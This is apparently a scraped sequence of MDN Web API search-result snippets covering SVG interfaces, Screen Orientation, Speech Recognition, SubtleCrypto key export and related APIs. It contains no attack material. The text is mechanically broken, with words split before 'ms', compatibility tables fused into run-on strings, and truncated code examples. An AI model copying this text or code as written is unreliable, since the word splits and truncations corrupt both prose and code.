SVGAnimatedLengthList - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedlengthlistchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedNumber - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatednumberchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedNumberList - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatednumberlistchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedPoints - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedpointschrome ?
... sa
msung internet android ?
SVGAnimatedPreserveAspectRatio - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedpreserveaspectratiochrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedRect - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedrectchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedString.animVal - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetanimvalchrome full support yesedge full support 12firefox full support yesie no support noopera full support yessafari full support ...
... yeswebview android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android no support nolegend full support full support no support no support ...
SVGAnimatedString.baseVal - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbasevalchrome full support yesedge full support 12firefox full support yesie no support noopera full support yessafari full support ...
... yeswebview android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android no support nolegend full support full support no support no support ...
SVGAnimatedTransformList - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvganimatedtransformlistchrome full support yesedge full support ≤18firefox full support 9ie ?
... yeswebview android no support nochrome android full support yesfirefox android full support 9opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGColorProfileElement - Web APIs
properties svgcolorprofileelement.local a do
mstring corresponding to the local attribute of the given element.
... svgcolorprofileelement.name a do
mstring corresponding to the name attribute of the given element.
SVGFitToViewBox - Web APIs
ility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios sa
msung internet svgfittoviewbox chrome ?
... sa
msung internet android ?
SVGGlyphRefElement - Web APIs
svgglyphrefelement.glyphref a do
mstring corresponding to the glyphref attribute of the given element.
... svgglyphrefelement.format a do
mstring corresponding to the format attribute of the given element.
SVGGraphicsElement - Web APIs
svggraphicselement.getctm() returns a dommatrix representing the matrix that transfor
ms the current element's coordinate system to its svg viewport's coordinate system.
... svggraphicselement.getscreenctm() returns a dommatrix representing the matrix that transfor
ms the current element's coordinate system to the coordinate system of the svg viewport for the svg document fragment.
SVGImageElement - Web APIs
svgimageelement.crossorigin a do
mstring corresponding to the crossorigin attribute of the given <image> element.
... svgimageelement.decoding returns a do
mstring representing a hint given to the browser on how it should decode the image.
SVGMarkerElement - Web APIs
ility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios sa
msung internet svgmarkerelement chrome ?
... sa
msung internet android ?
SVGPreserveAspectRatio - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvgpreserveaspectratiochrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
SVGSVGElement - Web APIs
(if the parent uses css or xsl layout, then unitless values represent pixel units for the current css or xsl viewport.) svgsvgelement.pixelunittomillimeterx a float representing the size of the pixel unit (as defined by css2) along the x-axis of the viewport, which represents a unit somewhere in the range of 70dpi to 120dpi, and, on syste
ms that support this, might actually match the characteristics of the target medium.
... on syste
ms where it is impossible to know the size of a pixel, a suitable default pixel size is provided.
SVGScriptElement - Web APIs
="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgscriptelement.type read only a do
mstring corresponding to the type attribute of the given <script> element.
... svgscriptelement.crossorigin read only a do
mstring corresponding to the crossorigin attribute of the given <script> element.
SVGTransform - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvgtransformchrome full support yesedge full support ≤18firefox full support yesie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
SVGTransformable - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvgtransformablechrome ?
... sa
msung internet android ?
SVGViewElement - Web APIs
a list of do
mstring values which contain the names listed in the viewtarget attribute.
... each of the do
mstring values can be associated with the corresponding element using the getelementbyid() method call.
Screen.orientation - Web APIs
note that older, prefixed versions returned a do
mstring equivalent to screenorientation.type.
... example var orientation = (screen.orientation || {}).type || screen.mozorientation || screen.
msorientation; if (orientation === "landscape-primary") { console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("mmmh...
ScreenOrientation.angle - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetanglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.lock() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetlockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.onchange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonchangechrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.type - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettypechrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.unlock() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetunlockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0legend full support full support no support no support ...
Using the Screen Capture API - Web APIs
before starting a project that will require sharing of audio, be sure to check the browser compatibility in mediadevices.getdisplaymedia() to see if the browsers you wish compaibility with have support for audio in captured screen strea
ms.
... console.log =
msg => logelem.innerhtml += `${
msg}<br>`; console.error =
msg => logelem.innerhtml += `<span class="error">${
msg}</span><br>`; console.warn =
msg => logelem.innerhtml += `<span class="warn">${
msg}<span><br>`; console.info =
msg => logelem.innerhtml += `<span class="info">${
msg}</span><br>`; this allows us to use the familiar console.log(), console.error(), and so on to log information to the log bo...
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
the effectivedirective read-only property of the securitypolicyviolationevent interface is a do
mstring representing the directive whose enforcement uncovered the violation.
... syntax let effdir = violationeventinstance.effectivedirective; value a do
mstring representing the directive whose enforcement uncovered the violation.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
the originalpolicy read-only property of the securitypolicyviolationevent interface is a do
mstring containing the policy whose enforcement uncovered the violation.
... syntax let origpolicy = violationeventinstance.originalpolicy; value a do
mstring representing the policy whose enforcement uncovered the violation.
SecurityPolicyViolationEvent.sample - Web APIs
the sample read-only property of the securitypolicyviolationevent interface is a do
mstring representing a sample of the resource that caused the violation.
... syntax let sample = violationeventinstance.sample; value a do
mstring containing a sample of the resource that caused the violation, usually the first 40 characters.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
the violateddirective read-only property of the securitypolicyviolationevent interface is a do
mstring representing the directive whose enforcement uncovered the violation.
... syntax let violateddir = violationeventinstance.violateddirective; value a do
mstring representing the directive whose enforcement uncovered the violation.
Selection.removeAllRanges() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetremoveallranges experimentalchrome full support yesedge full support 12firefox full support yesie full support yesopera full support yessafari full...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full supportexperimental.
Selection.removeRange() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetremoverange experimentalchrome full support 58edge full support 12firefox full support yesie ?
... nowebview android full support 58chrome android full support 58firefox android full support yesopera android full support 43safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
Selection.toString() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettostring experimentalchrome full support 1edge full support ≤18firefox full support yesie ?
... sa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknownexperimental.
Selection.type - Web APIs
the type read-only property of the selection interface returns a do
mstring describing the type of the current selection.
... syntax value = sel.type value a do
mstring describing the type of the current selection.
ServiceWorkerRegistration.navigationPreload - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnavigationpreload experimentalchrome full support 59edge full support 17 full support 17 full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.firefox ...
... 11.1webview android full support 59chrome android full support 59firefox android full support 44opera android full support 43safari ios full support 11.3sa
msung internet android full support 4.0legend full support full support no support no supportexperimental.
SharedWorkerGlobalScope.applicationCache - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetapplicationcachechrome full support 4edge full support ≤79firefox full support 29ie no support noopera full support 10.6safari no support ...
... sa
msung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SharedWorkerGlobalScope.onconnect - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonconnectchrome full support 4edge full support ≤79firefox full support 29ie no support noopera full support 10.6safari no support ...
... sa
msung internet android full support 1.0legend full support full support no support no support compatibility unknown compatibility unknown ...
Slottable: assignedSlot - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetassignedslot experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exc...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0legend full support full support no support no supportexperimental.
SpeechGrammar.src - Web APIs
syntax var mygrammar = speechgrammarinstance.src; value a do
mstring representing the grammar.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecogn...
SpeechGrammar.weight - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammar - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammarList.SpeechGrammarList() - Web APIs
examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfro
mstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechGrammarList.item() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
SpeechGrammarList.length - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
SpeechRecognition() - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechr...
...ecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.abort() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechg...
...rammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'abort()' in that specification.
SpeechRecognition.continuous - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.grammars - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.interimResults - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.lang - Web APIs
syntax var mylang = myspeechrecognition.lang; myspeechrecognition.lang = 'en-us'; value a do
mstring representing the bcp 47 language tag for the current speechrecognition.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognitio...
SpeechRecognition.maxAlternatives - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.start() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'start()' in that specification.
SpeechRecognition.stop() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'stop()' in that specification.
SpeechRecognition - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
mstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition' in that specification.
StereoPannerNode.StereoPannerNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstereopannernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie n...
...full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios no support nosa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
Storage.removeItem() - Web APIs
syntax storage.removeitem(keyname); parameters keyname a do
mstring containing the name of the key you want to remove.
... example the following function creates three data ite
ms inside local storage, then removes the image data item.
StorageManager.persist() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpersistchrome full support 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentedge full support ≤79firefox full support ...
... sa
msung internet android full support 6.0 full support 6.0 no support 5.0 — 6.0alternate name alternate name uses the non-standard name: requestpersistentlegend full support full support compatibility ...
SubtleCrypto.exportKey() - Web APIs
*/ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for syste
ms that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); subjectpublickeyinfo export this example exports an rsa pu...
...*/ window.crypto.subtle.generatekey( { name: "rsa-oaep", // consider using a 4096-bit key for syste
ms that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["encrypt", "decrypt"] ).then((keypair) => { const exportbutton = document.queryselector(".spki"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.publickey); }); }); json web key import this code exports an ecdsa private s...
HTMLSlotElement.assignedSlot - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetassignedslotchrome full support 53edge full support ≤18firefox full support yesie ?
... 10.1webview android full support 53chrome android full support 53firefox android full support yesopera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0legend full support full support compatibility unknown compatibility unknown ...
Text - Web APIs
however, if the element contains markup, it is parsed into information ite
ms and text nodes that form its children.
... text.wholetext read only returns a do
mstring containing the text of all text nodes logically adjacent to this node, concatenated in document order.
TextDecoder() - Web APIs
syntax decoder = new textdecoder(utflabel, options); parameters utflabeloptional is a do
mstring, defaulting to "utf-8", containing the label of the encoder.
... 'iso-2022-jp' "csshiftjis", "
ms_kanji", "shift-jis", "shift_jis", "sjis", "windows-31j", "x-sjis" 'shift-jis' "cseuckr", "csksc56011987", "euc-kr", "iso-ir-149", "korean", "ks_c_5601-1987", "ks_c_5601-1989", "ksc5601", "ksc_5601", "windows-949" 'euc-kr' "csiso2022kr", "iso-2022-kr" 'iso-2022-kr' "utf-16be" 'utf-16be' "utf-16", "utf-16le" 'utf-16le' ...
TextDecoder - Web APIs
textdecoder.prototype.encodingread only is a do
mstring containing the name of the decoder, that is a string describing the method the textdecoder will use.
... textdecoder.prototype.decode() returns a do
mstring containing the text decoded with the method of the specific textdecoder object.
Touch() - Web APIs
"radiusx", optional and defaulting to 0, of type float, that is the radius of the ellipse which most closely circu
mscribes the touching area (e.g.
... "radiusy", optional and defaulting to 0, of type float, that is the the radius of the ellipse which most closely circu
mscribes the touching area (e.g.
Touch.radiusY - Web APIs
summary returns the y radius of the ellipse that most closely circu
mscribes the area of contact with the touch surface.
... syntax var yradius = touchitem.radiusy; return value yradius the y radius of the ellipse that most closely circu
mscribes the area of contact with the screen.
Touch - Web APIs
touch area touch.radiusx read only returns the x radius of the ellipse that most closely circu
mscribes the area of contact with the screen.
... touch.radiusy read only returns the y radius of the ellipse that most closely circu
mscribes the area of contact with the screen.
TransitionEvent.initTransitionEvent() - Web APIs
